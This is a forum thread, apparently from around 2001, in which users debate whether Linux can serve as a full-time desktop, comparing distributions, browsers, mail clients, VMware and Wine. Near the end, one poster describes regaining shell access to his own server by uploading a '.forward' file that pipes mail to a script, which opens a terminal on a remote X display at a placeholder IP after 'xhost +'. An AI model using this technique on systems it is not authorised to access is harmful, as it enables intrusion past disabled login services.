Viable Linux Destop?
 

I've been dual booting on my main desktop box for a long time now but ie decided to go 'cold turkey' and delete my windows partition. i've been told by a number of friend who use linux extensively that they all swap back in the end, has anyone used linux for a desktop for a long period of time? For refrence i decided to go for Mandrake8/KDE2.2 due to its ease of use and userfriendlyness for a desktop box (i was playing with Debian, but installing it and setting it up is far to much of a hassle for this)

First use of the l33t poll option

i think it can be done. there will be certain advantages, and there will be certain sacrifices.

for me, the advantages are:

Linux is fun as a hobby, and the whole point of using computers at home, for me, is to have fun

Linux allows me to easily 'goof off' with things like PHP, Perl, mySQL without installing other programs/drivers.

the disadvantages:

the fact remains that my professional career is based around Windows. when I have to start working at home, or doing anything related to that profession, Windows has to be the OS I use

Internet use, in general, is a bit more cumbersome.

I've not found a Linux browser that handles the web as well as IE (altho I'm open to suggestions here).

I've not found a Linux email reader that I'm terribly happy with.


I suppose the nice thing is that you always <i>can</i> go back if you need to. I've seen people deal with problems in Linux simply out of spite of not wanting to use Windows, which just seems silly to me. My thought, basically, is this: use and abuse the best of each OS, whether it be UNIX, Linux, Win, Mac...whatever.

Of course, all that said, I <i>do</i> still want to kill Bill Gates...

I use linux almost exclusively. I say almost ONLY because I sometimes boot windows to run programs for my daughter (not too many programs for 2-year olds on Linux yet).

At work, I use Linux exclusively. I can read most word and excel files that people send me with Star Office, but I *do* ask people if they could please send me stuff in plain text and they usually comply.

I have found no programs that I need that I cannot find some version of on Linux. Sure, the linux equivalents usually don't have all the bells and whistles of the windoze versions, but I find that those are features that I usually don't use.

If you are a games person, though, or DO use all the bells and whistles, you may find yourself bouncing back to windoze from time to time.

As stated above, use what works best for you and, if it's a tie, go with what makes you feel best. :)

Linux Desktop
 

I'm actually a pretty big GNOME and GTK fan here.

I was using Ximian GNOME with XFree86 4.0 at home (and am about to put back on the laptop since I want Xchat again).

The best part about the Linux desktop is the large amount of IRC, IM, and chat applications.

I considered StarOffice a nightmare when it came to Word and Excel docs with Macros (which is 90% of the ones I use). This must be why I never used my Linux box for work :).

When it comes to doing what I have to do with email, browsing, and the rest, Linux is hardly there.

Netscape 4.x on Linux is worse than IE4 on Windows 98 in terms of performance. Evolution is getting there (email and PIM), but it's still beta. I'll use it when it comes out. Mozilla can make a Pentium III scream in performance pain, it requires that many resources.

However, Linux has Xchat, gAIM, Everybuddy, a ton of cool email scripts, sendmail, BitchX (another of the great IRC clients), and many other cool things. It's too bad amIRC (the greatest IRC client ever) is only available for the Amigas.

We'll see how it performs with 320MB RAM. I've finished qualifying XP here, and will install it temporarily on the ThinkPad before I reinstall 2000 Professional on it. My old GNOME box had 64, and Linux functioned just fine on it.

I like Linux (and Gnome)... as a hobby, at home. But, at least in the short-term, I don't see it becoming any more than that. I once saw a tee-shirt that sums up it's shortcomings: "Linux is only free if your time has no value." (Granted, the wearer was a rabid *BSD partisan, but the point is still valid.)

I can't imagine using it at work. Too much resistance... too much trouble to overcome 15 years of M$-inspired inertia... too much trouble to keep explaining to people why they have to send you a plaintext file because you can't read a .doc file. Take your pick.

I admire your courage, Jag, but I think I'll have to continue to dual-boot for the foreseeable future.

Interesting. People who said browsers were a problem have a point, while Konqueror (which i typing this from) its generally very good, some websites kill it (including randomly, the search on the linux tucows site!) and there is no version of flash for it. Mozilla is getting there though, i also use that under windows. I haven't found a Eudora equivilent of the same quality yet so i'm using Moz mail, which is pretty good.

Didn't take me long to find a getright equivilent which was the only app i found i needed so far outside of what comes with Mandrake, which is pretty extensive in the end. I trying to find how you intergrate apt with mandrake (aparantly there is a way) Using OpenOffice at the moment, but i might try Staroffice, i need something with a good quality spellchecker so Hubris Boy can keep bagging my typing =P

Yes, windows is better for some things (gaming in particular - missing my Counterstrike and Max Payne) but i got sick of the calls of hypocrite when enganging in the usual political skirmishes which are a daily at school about privicy etc. And after all it *is* the future ;)

"Linux is only free if your time has no value." How true. I spent 4 hours installing Debian with a friend, and that was just the base install, thats the beauty of Mandrake, fully functional and set up out of the box.

Due to a number of apps i need i might have to keep windows (Lightwave, Photoshop(yes i know, gimp but its not the same), VB6, Access) although i might try Wine first, see how it goes with lightwave though, heavyweight program.

you might want to try VMWare (www.vmware.com). then, you can use Linux (or Windows, but that defeats the point) as the "host" OS, then install & run *simultaneously* whatever other OS you want as the "guest" OS.

Really. it works quite well.

Interesting. What did you use as a "getright equivilent"?

VMWare
 

VMWare = VERY VERY nice.

I've used that and was going to play with Bochs. However, VMWare whips Bochs all around, especially in speed.

VMWare is the one commercial Linux product everyone likes, because it can run EVERY windows version on it.

The only shortcoming is the fact that it only allows for 2GB "hard files" due to the ext2fs limit, which puts me back in the Win95A days.

However, it truly is a very nice tool. I've used it here to run Win98, Win95, Win2K, and Linux on top of all Linux variants.

The Win2K version is just as nice, and it's incredibly stable.

When you work in an environment where Office documents dominate, and various Office versions are very incompatible, especially Access 97, 2000, and 2002 (XP), and Excel 97-2002, you need an alternative to read those documents.

VMWare is it, because Office has a little problem due to macro-enabled documents binding themselves to different DLL versions within the OS itself, especially the Windows Scripting DLLs. VMWare lets me qualify applications on different versions without trashing my own OS, and lets me play with different OS'es without the pain of installing on the actual machine.

The newer versions are supposed to be good enough to allow for emulation of different pieces of hardware, which will be the killer app for device driver testing. In other words, you can put a PCI video card in your system, the latest Nvidia GeForceX or Matrox Gxxx in the AGP slot, and do direct driver writing using the product. Direct PCI and AGP access will make this product the BEST platform for device driver writing ever.

Knowing the Linux kernel, they'll have to ship a custom Linux distribution and kernel to pull it off. Win2K will require a host of custom device drivers, but it can be done without severe pain. Right now VMWare emulates an AMD Ethernet adapter and a generic SVGA video card.

It's good enough to handle all the Windows needs, including running Office at a decent speed. It's my favorite Linux app EVER.

A lot of linux zealots don't like it because it is closed source, but considering the alternatives such as Bochs, it lets me get my job done. That, and it saves money on hardware because you can run multiple OS'es on the same machine at the same time (I have run 95B, 98A, and 2000 Professional at once).

The only downfall is the price, $329.00.

My Linux Experience
 

Going to try to make this as relavant as possible.

I started with Linux in 1996, when I first heard about it. My dad bought me a book (I was 15 at the time and had no income), and it came with Slackware 2.something. I installed it fairly painlessly, but I couldn't get X working on my 512k ATI VGA Wonder (what a card!). I fiddled with the command line, trying to get X to work, for about a year. This was having Linux on a separate box, and using my main machine, running Windows 3.1 and then Windows 95, for everything. In 1997 I gave it up for about 6 months. Late 1997, I found Red Hat and gave it a whirl. I believe it was version 5.0. I installed it and got X working, but I couldn't get dialup functioning properly. It was then utterly useless to me, and I dropped it again. I tried again with 5.1 and 5.2, but neither worked.

May 1999 - RedHat 6.0. Gnome. Enlightenment. With a hell of a hacked-up script, I managed to get dialup working. And all of a sudden, there I was, using Linux full time. You can see my rather pathetic desktop (in May 1999 - disregard the name of the image) here.

That was all well and good, but eventually, I went crawling back to Windows. I don't even remember why. That was in September of '99. I began using Litestep on the Windows desktop and was happy with Windows again - it didn't suck. You can see that desktop here. Since Litestep wasn't crashing all the time, all was good.

Then, Februrary, I decided to download RedHat 6.1 and give it a try with my cable modem. That screenshot above for Litestep is the last day I booted into that Windows partition. Ever. A RedHat 5.0->5.1->5.2->6.0->6.1 upgrade had worked. I had my cable modem working flawlessly under Linux. Here's what it looked like, 4 days into the experiment: screenshot. It wasn't much, but it worked.

By late Februrary, I had switched back to running WindowMaker, but this time under Gnome. I did this because I wanted to play Unreal Tournament under Linux, and had read that it did not work under Enlightenment. I put some time into making my desktop. In retrospect, it looked like ass, but it was functional. Check it out.

In late June 2000, I switched to Sawmill (now Sawfish) under Gnome. This is what I run today. Sawfish looks better, feels better, is smaller and faster, and is, in a word, great.

Some time in there, I deleted my Windows partition (after backing up my user-generated files). That became my new home partition (/dave). It's largely the same setup it's been since that time. I haven't made an upgrade to RedHat 6.2. I tried, but it broke my system. I spent about 4 hours repairing everything that it broke (hell on earth), then decided that, from now on, I'd do all upgrades myself. Nearly everything on my system is custom compiled. I use it for my desktop 100%. Although I recently bought an iBook and just yesterday got my Dual 800MHz G4 PowerMac, they aren't desktop replacements - they are supplements to my computing addiction :) They're also so I can play with MacOS X (which is absolutely stunning). But my desktop operating system is, and will likely remain, Linux.

You can see what it looks like by clicking here.

Now, that scratches the surface of what I'm trying to do here, which is describe Linux on the desktop and what I think it should be/how I feel it can most easily done.

The environment: I choose Sawfish under Gnome. I like Gnome's panels, I like Gnome's stability, and I like Sawfish's flexibility. I have an incredibly responsive system. Now, my computer is no slouch (750MHz Thunderbird, 768MB PC100 CL2 ram, 32MB DDR GeForce2 GTS), but it runs like a brand new machine. It's super fast and super stable (the only time I reboot it is for hardware upgrades - 120 day uptime is typical). I personally find the Gnome/Sawfish combination to be an exceptional one, and I think that any respectable Linux users owes it to themself to give it a try.

Communications: For me, this is the second most important thing. First, I need a stable environment. But I need to talk to the outside world as well. I find Linux to be the best in this are. X-Chat (http://www.xchat.org) is the best IRC client I've ever used (but BitchX is good to, and I use that over ssh/telnet sessions, etc). Gaim (http://www.marko.net/gaim) is the AIM client I've been using for years. It's absolutely exceptional. Frequent bug fixes, stable, great interface and layout... I love it. I strongly prefer it to the AOL AIM clients. Strongly prefer it. As far as ICQ goes, I personally use Licq (http://www.licq.org) and that's probably the way to go. It's stable. The only thing I don't like about it is that the most developed gui-plugin for it is written in Qt, and Qt has been a pain in the ass on my system. It also doesn't fit in with the rest of my apps. But that's okay. It works, and that's what's important.

Email: I know this fits in with communications, but it's a bigger deal. Email is, as we all know, the most important internet application. Under Linux, I started using Netscape Communicator for email. I used this for about six months, but in August of 2000, I switched to Mutt (http://www.mutt.org). Mutt is a command-line interface mail user agent (MUA). Basically, it just handles the display of email and the transport of your email message to sendmail on your local machine. Sendmail then sends it, and it's all taken care of.

The reasons I like Mutt are numerous. I stayed away from it at first (I've known about Mutt for years) because it was command line and I wanted a nice gui email client. I tried probably 10 gui email clients and none of them were what I was looking for. They just didn't do enough. Evolution was promising, but it was far off (realize that this was a year ago - Evolution has come a LONG way since then). I finally took the plunge to Mutt and I haven't looked back since.

I like Mutt because it's fast to use. I can get around it very easily with the keyboard. My hands are already on the keyboard, and it keeps me from reaching for the mouse every 2 seconds. It also allows you to use whatever text editor you wish to send your email. I use vim (http://www.vim.org), but you can use pico or emacs or joe or whatever you like. It's also fully customizable - colors, bindings, display options, etc. You can configure it all. You configure the mail headers, everything. It's not much, but it's the most useful mail client I've ever used. You need to write a .muttrc for it - you can view mine (for the most part - I've left some things out) here.

Browser: I use Mozilla. I used Netscape for the longest time before that, but I use Mozilla now, and have for probably the last five months. It runs fast for me. It looks good, it's stable, it handles most web pages with no problem. It has Flash and Java plugins that work fine. All in all, it's the best browser for me. I use it for just browsing - nothing else. See what it looks like. I've heard that Konq is good, but I have no interest in using it. Mozilla will do just nicely.

Monitors: I'm not sure I could live with GKrellM (http://www.gkrellm.net). They're pictured in the lower right hand corner of my current desktop screenshot. It's a bunch of system monitors running under 1 process. You can add and subtract to/from it as you like, as well as add plugins, etc. It's pretty great.

Games: I like playing games. I'm an avid Quake III Arena player. I like Unreal Tournament okay too (only when I'm playing friends - I can't compete at that game, I find it too hokey and slow moving). I recently started playing the Wolfenstein Multiplayer Test. All work flawlessly under Linux. Soldier Of Fortune is fun too. Granted, I can't play Counter Strike, Diablo, or any of the other thousands of games that are available as Windows-only. But I make do with what I've got.

Office: I don't use office software at home. I don't use Linux because I need to write a term paper. But if I did, I would probably use OpenOffice or StarOffice. StarOffice is godawfully slow, but it works (or did 2 years ago when I used it). When I need to make a spreadsheet for whatever reason, I use Gnumeric. It tends to work nicely.

Everything Else: It's hard to list all the programs I use. I have a lot of scripts I've written to make my life easier. There are tons of apps on my system that I use on a daily basis. Too many to list. I just hit the big ones. There are image viewers, text editors, etc. As far as text editing goes, I just use vim. But there's gnotepad, gedit, etc.

Look for apps at Freshmeat (http://www.freshmeat.net). It's always been the best site to look for apps.

Miscellaneous: I use multiple desktops. As you can seen in my screenshots, I generally have four set up. I use the first one for my main stuff (irc, aim, icq, email, etc), the second for a browser, the third for xterms and the fourth for whatever I need it for - gimp, watching some videos, etc. I highly recommend using multiple desktops. I'm not sure how I ever got along without them before Litestep and then Linux.

Conclusion: You can do Linux on the desktop. You can even do it cold turkey. But it takes some work. My recommendation is to use Debian. It's what I use on all new builds I do on my boxes (I'll probably shy away from rebuilding my main box for a long time, it's too customized and it would be too time-consuming to redo). Debian will make your life easier because it's so easy to administer. I promise you, the "setup hassles" that people describe are well worth it. You may want to lookat Progeny Debian if you are concerned about installation/setup - word on the street is that Progeny has a great installation with all the benefits of Debian. I'm not knocking Mandrake or RedHat or anything, but Debian truly is the most elegant distribution.

Other than that, good luck. I wish you well on your endeavor, and I'm perfectly willing to present you any help you need while trying to keep Linux as your desktop. It's been my desktop for over a year and a half exclusively, and as I said before, it likely will be for the forseeable future. It can be done. Good luck.

So who's the chick, and why are megan, manda, and jib considered dorks?

J/K. It looks good. That's some good work.

"the chick" is Jenni, my better half/significant other. Which means, we've been together a while, I love her, I want to be with her, we live together, but we're not married. 'Cause I'm 20. And she's not quite 19 yet. Wahoo. We'll see how that turns out. Let you know in 10 years :)

Manda is just a dork. Megan is my best friend. Jib == My Sister. Jen. Dad used to call her "J-Bird." J-Bird turned into "Jibberd" by myself. And I later shortened it to "Jib." They're "dorks" 'cause that's the only list I have on there. I call everyone "dork." :)

Lisa - a program called X Downloader, seems to be permanatly on the front page of linux tucows so..

Since i started this thread i've had t reinstall Win2k because of work i needed to do in VisualBAsic/Access for school. Right now i'm linux about 50% of the time. Mandrake is fantasic, its very windows like when it comes ot ease of use but when somehting breaks it often takes a bit of tracking down. The update utility is alot like apt-get, which is of course god of updaters.


VMWare ain't bad but its just so slllooowwww so i gave up on it. Been meaning io give Wine a try, aparantly its coming along well (can even emulate SirCam so it must be good ;) )

Its mostly the lack of professional development software thats cause me to move back a bit, i need my photoshop, there is no Flash Director for Linux, Illustrator, Lightwave etc.. So for now, dual boot i will continue. The other royal pain in the acc about having multiple OS's is that linux takes 2 primary partitions, leaving me only iwth 2 for windows. Due to me bing lazy and having my C drive as NTFS when i decided for format c and reinstall Win2k, i totally screwed myself. My win2k disk is an upgrade version requiring window to run, usually you install 98, then 2k, then delete 98. I forgot c was NTFS. So i went into fdisk ot delete it, fdisk decided it didn't liek me and refsued ot let me make a new Primary partition afterwards. I couldn't format the entire drive because i hadn't done a recent backup of everything (my bad again) including 5-6Gb f MP3s i was NOT going to delete. This menat i had no free primary partitions, or ones i could delete. I was recused by a friend to whom i took my hd(none of my others were big enough to take everyhting i needed to back up), copied everything important off and formatted the whole thing, overall a very painful learning experience about having 2 OS and 3 file formats on one HD. I'm not going to touch NTFS again.

the biggest problem with ntfs is that we haven't hacked it yet :) write support for it is non-existant. fat32, we can at least work with. but it's still not the best file system. of course, ext2 isn't either... but i don't have to defrag or any shit like that :)

tell you what though... i just got my pimpintosh - dual 800mhz g4, geforce3, 1.152 gigs of ram, 120 gigs hard drive... running os x exclusively (like i do on my new ibook)... man... what a great setup. it threatens to keep me away from my main desktop box too long :) there isn't an operating system that looks this good, period. it just feels good too... and i can play quake3, so that's a bonus :) i used to be a vehement apple hater, but now i own two (and have spent about $6,000 on those two systems in the past 4 months)... they've definitely got something... i definitely recommend :)

Where do you live i'm stealing that box. Now.
GForce3+Dual800G4.....*drools*

fairfax, virginia. i type these words right now on the apple pro keyboard, watching them on a sony cpd-g400 19" flatscreen .24 aperture grille monitor, 1600x1200... it's very nice :)

i have some pictures up... you can check 'em out... it's my temporary setup on jenni's drafting table until i get a desk for it...

http://www.digipulse.org/images/pimpintosh/P0000705.jpg
http://www.digipulse.org/images/pimpintosh/P0000706.jpg
http://www.digipulse.org/images/pimpintosh/P0000707.jpg

what can i say... i'm a computer addict man... going to be building a dual athlon next...

this machine took me a while to get right with the order... but man... it's nice... 1.152 gigs of ram right now... gonna up that to 1.5 in a few weeks... ah...

you can see a picture of my main desk in my bedroom here:

http://www.gaveup.org/dave/images/desk/P0000575.JPG

...............Bastard!!!!!!!!! :p
Jordia eh? Won't beat the Palm M505 i'm buying next week so HAH
Damn, talk about small victory. THe comptuer desk in my roon is a jungle coz i'm building boxen for others now, currantly there a 2U Rackmount that's going to be a webservre and an Athlon 1.3 without its case as well as my box + 2 17in, 1 15in, 3keyboards etc, hub, shit everywhere pretty much.

jag - i've got a palm vx. and my jornada 720 will rip up the palm m505 easily... but, since i'm giving jenni my vx (so she can keep her school schedule, numbers, work schedule, meetings, etc in it) and getting an m505, it's really a moot point... palm os 4 looks nice eh?

how much they going for down there? i haven't looked, but i think i can get 'em as low as like $400 here... that's usd, of course...

my desk used to be a mess, but i like to have a nice clean space... once i get bigger desks though, mmm boy... hehe...

you should take a picture. i like seeing desk setups...

i'll grab a picture of my router and shit... it's upstairs in the office... i have entirely too many computers :)

NO dig camera (waste of money i always thought) but i wil sometime when its at its worst (4 boxen, 4 moniters etc..)
cable hell! I once blew the power fuse by loading it all on one power plug too hehehe.

yeah. i know what you mean about cables. my speakers (klipsch promedia 2.1's) have a fair amount of cables... along with all the twisted pair running behind the desk, the machine under the bed (486/33, debian box, running as a secure communications server - don't ask), my main box, laptop, etc... too many cables :) but i'm looking to get rid of the problem soon... i'd like to keep just my laptop in my bedroom and all the other computers somewhere else... and currently i only have 4 in the bedroom (an old mac, the 486 i just mentioned, the main machine and the laptop, plus the jornada if you count that, which i don't). i've got 2 others out in the den that i'd really like to put near my main box (the pimpintosh and the retro gaming box, which is a k6/2 450 running win2k so i can play worms2 and shit). jenni's imac can sit whereever. but yeah. not enough space. i've got it somewhat straightened up now. just need to clean under the desk and get rid of that old mac. might sell it or something. have a nice monitor for it too. anyway. back to "work"...

I swear i wanna buy a rack if they wern't so loud/expensive, just so nice to put so many boxen with so little floorspace, have it next to me desk *perfect*. In the menatime ill lvie with the jungle, its not too bad, i know where everything is and mum won't touch it which is good coz theres 2 flasks of jim beam in one *lol*. I shoudl make use of it as cooling fluid for a while, alchol is aparantly very good. Only done one watercooling setup thoough, i just don't like so much water near so much expensive electronics.

Meanwhile, I'm happy with one thing about linux:
 

Hello,

I learned one great thing about Linux today :).

It runs just fine on a 486DX2/50 with 28MB RAM as a little text box I can use for ssh, lynx, and other small things.

I got a 2.5GB (originally 4.1 with bad sectors), and put it right in my old Compaq LTE Elite laptop with mono screen. No X, since that's just BAD at 640*480 on a black and white screen, and with a weird chipset no less.

Now, when I have to ssh into servers and use all I need, I have a little linux box to do it all. I didn't need any more. I also use a P150MMX laptop with 48MB RAM as an Xterm for the Solaris boxes, since that has a better-supported chipset, even though it's a NeoMagic.

The only not-so-good thing was the fact that openssl and openssh take several hours to compile and run on a 486, but I can deal with that now that I have ssh and scp and it makes me happy to do so.

Plus, Linux was the only OS that could deal with the wacked PCMCIA setup, as well as the interesting other configuration niceties you get with a Compaq laptop. If you've ever used or owned one, you know exactly what I mean. FreeBSD hated this laptop with a passion.

Now, I've got a use for something that would be completely out of place running Windows 95. And it does the job better.

Re: Meanwhile, I'm happy with one thing about linux:
 

I have a slackware box up in Maryland that's got an uptime of about 390 days (it was 384 some time last week, I just forget what day).

Nothing special about that really, 'cept that it's a 486dx/33 with 12 megs of ram...

runs great. Like you said, ssh, lynx, BitchX, etc. Although BitchX took a LONG time to compile :)

You can run linux on anything. You just need to have to will to take an hour to make it work.

FreeBSD hated this laptop with a passion.
FreeBSd. On laptop? *gives you a wierd look*
Thats like True64UNIX on a palm pilot.

I'm pretty sure you CAN play Counterstrike on Linux. Half-Life works through Wine. The opening menus are screwed-up looking and a little slow, but the game itself works flawlessly. Just fire it up through Wine and join a Counterstrike game. I used to play Team Fortress Classic on Linux all the time.

Oh, and by the way dhamsaic, none of your screenshot links worked for me. What's up?

For web browing in Linux, I love Konqueror. It loads so freaking fast! Another great thing about Konqueror -- you know how when you want to type in a new url into the address bar, you have to move your mouse to highlight the address that's already there, and delete it, then click in the little address space to change cursor focus, and then type your url? Well, with Konqueror, you just have this little 'X' icon next to the address bar. Click it, and the address field is automatically emptied and the cursor focus is switched to the address bar, complete with blinking cursor. One left mouse-click, and you've done all of the above. Okay, I know you're thinking, "So freaking what? Come on juju, are you really that lazy??" Well, quite frankly, yes! It's less mouse movements, less clicks, and less button-presses. Click one icon and start typing the url. I love that feature! :]

Another great Konqueror feature is that you can set allow or deny rules for java, javscript, and cookies for specific domains. So, you could turn java or javascript or cookies off for all sites, but allow them for your bank (or vice versa). Also, you can leave javascript on but turn javascript popups off. Really useful for porn or warez sites (not that i visit those). :]

For e-mail, I use kmail. A lot of people seem to be searching for the "perfect e-mail client". I don't really get this -- what exactly are people's exorbiant e-mail needs? It either receives your e-mail or it doesn't, right? Anyway, kmail loads fairly quickly as long as the kde libs are already loaded, and it's similar enough to Outlook that I can make my way around it pretty easily.

oh oh..and gaim is not only a good aim client..it's an awesome one. It has plugins for irc, icq, msn, yahoo, and several other im protocols that i have no clue about. The newest version even does aol buddy icons.

Anyway.. unless you're playing games or composing Word 2000 documents (staroffice reads Word 97 documents), there's no reason you can't be using Linux as your desktop. Other than the fact that it's hard to learn, of course. :]

Pretty much. If it wasen't for two things. VB, Acess. While both those programs are truely vile to work with our microsoft-whore school requires we use them.
hm ill try CS under wine some time soon, soon as i finish installing/playing with mandrake 8.1 =)

I've been exclusively Linux at home and for running my amateur satellite station for a number of years now. Running Enlightenment as a window manager rocks hard.

Hmmm. I have no browser problems. I do run more than one browser, but then I did that on Windows too.

Maybe you need to upgrade your Konqueror. I'm on 2.1.1, and it supports all Netscape/Mozilla plug-ins, including Flash and Java. There's also a facility for having it lie to specific sites as to what browser it is, too. This can help where the web programmer did something braindead.

My "dogfood" browser (the one I use most of the time--comes from the expression among Netscape developers "We eat our own dogfood.") is Mozilla 0.9.2. I keep Netscape 4.76 around to work around occasional bugs in Mozilla. Moz Mail at the 0.9.2 level has a few annoying bugs in folder management, and I use folders extensively, so these days my default mail client is Kmail, which is quite usable. I'm planning to go back to Moz Mail, probably the next time I bother to upgrade Mozilla. But for now with Kmail when I click on a link in an email it calls in Konqueror, whioch works well enough that I haven't bothered to change it. No biggie.

A *surprising* number of Windows apps work right out of the box with WINE, by the way. And game addicts will be interested in the current project to port DirectX V7 to WINE. FOr now I have the Linux port of Descent 2, and Flight Gear Flight Sim....this satisfies my gaming needs for now.

I use Enlightenment, too! I honestly don't know how I ever lived without Virtual Desktops. It's like ten times more addicting than that little wheel-doohickey on mice. Once you get used ot it, it just feels wrong without it.

I also have Enlightenment start up Kicker on bootup (KDE's taskbar). It's a very cool and customizable taskbar.

But anyway, I always hated taskbars because they take up space on the screen when you're not using them. Yeah, I that know you can hit that little arrow and have it retract into the side of the screen, but a portion of it is still sticking out. That little 3-4 centimeter portion that's sticking out just bugs the freaking crap outta me. I want a taskbar that I can get rid of when I don't want it. So my solution? Don't run KDE, run Enlighenment with Kicker. The taskbar only shows up in one of your virtual desktops. And if I really feel the need to not have it in a single desktop, I can always just kill the taskbar and start it back up later at my own whim.

Yea ill have to set the browser so it cliams ot be netscape, might solve a few problems..
Moz 9.5 is out and the word is good, i'm downloading it as I type =)

Anyone else see that slashdot article about Mandrake bringing out a gamer edition? Comes with WineX and Simcity. Transgamer are working on a version of WIne with DirectX support which i cannot wait for!

Every major OS apart from Windows now is using a *nixy base making posting so mcuh asier ts not funny, its OSX and Linux between can get a reasonably market share mabye it will be finally commonplace to make nix ports and release then simultaniously. (i know OSX and Linux aren't exactly one and the same but its one hell of alot smaller than windows to Linux)

As soons as exams are over i'm gonna have another big crack at Linux all the time and relaly try to wean myself off with wine. If i can get Photoshop working that'll be a signifigant slice of my computer itme already. Not to mention DiabloII =)

little 3-4 centimeter portion that's sticking out just bugs the freaking crap outta me.
3-4 CM?
more like mm..

One thing that was a tad buggy about the last KDE build i used was the bug where if you deleted an icon the space remained then when you added a new one there was still a stupid space...

Ah well, Mandrake 8.1 rocks for anyone that wants a desktop linux system, all they need now is apt-get =)

man. people always be like "damn g, that mac os x is fine, i be lovin' that aqua shit"... o' like "mutha fuckin' apt-get be da bomb!"... well i'z be like "yo, mutha fucka, if you be wantin' that shit, then BUY A FUCKING MAC OR JUST INSTALL GODDAMN DEBIAN!"

yes, apt-get rules hard. there is absolutely no fucking doubt about it. so INSTALL IT. mandrake shmandrake, you're gonna wind up installing debian anyway, so do it now and save yourself the time. seriously. as soon as i get my 36 gig u160 cheetah repaired (drive is fine - electronics on it died), i'm installing debian. trust me, you want to do it. as soon as you really play with it, you'll want to stick with it.

i don't call myself an elitist, but there is seriously no reason for computer-savvy persons such as yourself to mess with mandrake. it's a weaker linux, period. and the funny thing? it's HARDER TO MAINTAIN! people always say "debian's hard" - bollocks. yes, i have been into linux since 1996. that doesn't mean i'm RETARDED. mac os - easy to use. debian - NOT HARD. i didn't lose my perspective. you can do it, jaggy. debian. debian. debian. you owe it to yourself. and DO NOT BACK DOWN after a month. man, it took me like probably 3 months to finally kill my windows partition. just keep at it. you have to want to make it work. yeah, gimp isn't as good as photoshop. just make some sacrifices. LET GO.

now i'm starting to sound like tyler durden. i'm going to go eat pizza now. but seriously man. if you want apt-get, install debian. i'll answer all your questions. i promise.

on a side note - my friend locked us out of our server earlier (stuffnet.org - where digipulse & gaveup & whitesquirrel.net and all that shit is hosted). killed ssh. no telnet. so we had no shell. i actually managed to get in without doing any big known exploits. i'll give you a hit - it involved ftp, a little email and an exported display. how did i do it? first one to guess correctly gets a dollar or something.

Exploit?
 

Well,

you were running wu-ftpd?

Exported X display? This I would like to know, since it seems that ftp is always a way to get in. And that you probably replaced some binaries of services still running with something that you could use to get a shell?

Mitch

ohh a debian zealot =)

I've played with debian, yes its nice but i can see why people complain about it, the installer is horrible. I"m still reasonably new to Linux, i can make things work but i'm no kernel hacker. Well holidays are coming up anyway so what the heck, ill try debian then.

Did i say anything else about OSX cept thats its got a *nix base?

Ill try and wine photoshop before i give it up, sorry but that one is just *too* dear to my heart.

What you folks are going on about is exactly why I voted "no" on the "viable Linux desktop" question. Several months to get over the Windows addiction completely? Esoteric setup leading to root-able vulnerabilities? Nerdy buzzword-filled debate about different distributions? Emulators being a part of the dominance strategy?

Without question, open source will always lead to certain advantages. But as yet, all these advantages are by the geeks, for the geeks (understanding that I count myself in that description).

It's still true: what any platform needs to succeed with the general public is compelling applications. What Linux needs, then, is a compelling app that somehow takes advantage of openness for its strength. There are already a few of these, such as embedded devices. Increased reliability and security. There need to be more. Maybe something in distributed computing for example.

No exploit. No replaced binaries. Exported display - yes. So you're getting somewhere :)

I'll write more when I'm not on the phone.

alrighty now...
 

jaggy - i know. wasn't talking about you specifically on the os x thing. but i see this all the time. same with linux. people talk about how cool it is but don't use it. photoshop is definitely hard to give up. i know - i did it two years ago. just let gimp take over. gimp's pretty powerful if you get into it.

anyway. tony - it all depends on what "viable linux desktop" is interpreted to mean. i'm writing this from my powermac g4 tower because it was convenient. i could still write it from linux. mozilla .9.5 is pretty slick (including the feature to kill popups from javascript onload & onunload - where has this option been in internet explorer?). to me, linux is a viable desktop. so is mac os x. so is mac os 9. so is windows. as a matter of fact, the only one i would say that isn't is beos. i couldn't use it for a desktop operating system. it's cool as hell, but it's just not there. windows has all the apps. linux has a ton. so does mac os. beos was severely lacking. it's all about the apps. well, and whether or not you can have multiple desktops, which is what i dig about linux. or just how great it is to use, which is what i dig about mac os x (that, and it's fast as hell, and it looks great, and it has so many cool features to it - an operating system done right). did i give up photoshop & 3d studio max? yeah. but i gained a lot more. all it takes to switch operating systems is getting into new habits. i can't go back to windows 'cause i'm too used to hitting alt+1 or alt+2 (up to +4) to getting to a different desktop. habit.

another thing i've noticed - people tend to look down at operating systems that they've never really used. 5 years ago, i never said "macintosh" - i said "macintrash." i'd used it, but not thoroughly enough. when i got the g4 tower, the people in my office said "it looks nice, but i'd never use it" - why?

it's the same thing as linux on the desktop. you need to really do it to be able to appreciate it and to make it work. her answer was "'cause it can't do what i need it to do." well HOW DO YOU KNOW? i do a LOT in linux. i can do a LOT in mac os x. aye.

too tired to be coherent.

mbpark - no exploits. wu-ftpd is what is running, but it's not an exploited version. here's what's granted: you have an account on the machine, you have root access as well. you canNOT get to a shell over telnet, ssh, rlogin, etc - all these services are off. i used: a shell script, an exported display, ftp and an email. 1 email. the question is, how did i execute the shell script? and what did it do? once i got a shell with that, it was as simple as su'ing and re-enabling ssh (which scott turned off in moment of really really bad judgement). but yeah. how did i get a shell?

Getting that shell....
 

I'm thinking you have something akin to tunnelling via SMTP on that box? Either that, or you have a service that can be controlled via email?

I hardly know anything about Sendmail here.

Mitch

okay. you didn't get it. so i'll tell you what i did.

$ xhost +

then...

make a shell script -

#!/bin/bash
export DISPLAY=YOUR_IP_HERE
/usr/bin/gnome-terminal # or whatever term you want to use

then...

$ echo "| /path/to/above/script.sh" > junk

ftp MACHINE_WITH_NO_SHELL
login: your account
password:

put script.sh script.sh
put junk .forward

then, email your account. the .forward executes the script, which exports the display to your machine and gives you a shell. took me a little while to come up with this one, but it's definitely going on the books as "good way to get into your machine that your tard friend & co-admin killed all shell access to" :)

And I voted no also
 

The reason why is the apps.

There are many out there, however, they're not production-quality like Word, Excel, or even WordPerfect (still in use in more law firms than Word!).

It's the apps. MacOS has that niche with video production and the visual arts, and with OSX.1 has finally surpassed the Amiga because of its wicked use of Firewire and apps that support it.

For my DB work, all the good programs run on Windows. Try finding a copy of anything non-Rational that costs under 10K and does DB design. Only ERStudio does, and that's not that good under Linux, and requires a lot of setup for DB clients other than Oracle. Forget using MS SQL Server 2000 under that.

Did I mention client-side Java is also a pig and is worse than a Pentium running Win2K? :). Scratch off Together then.

I need apps outside the compilers and editors, which is what most of Linux seems to be anyway for apps. They don't exist on Linux, and I think it's because of demand. Linux's mentality is that most of the people won't pay for the good apps and will take a GNU substitute, which will do 40% of what you really need. The rest you really have to know your stuff to code around.

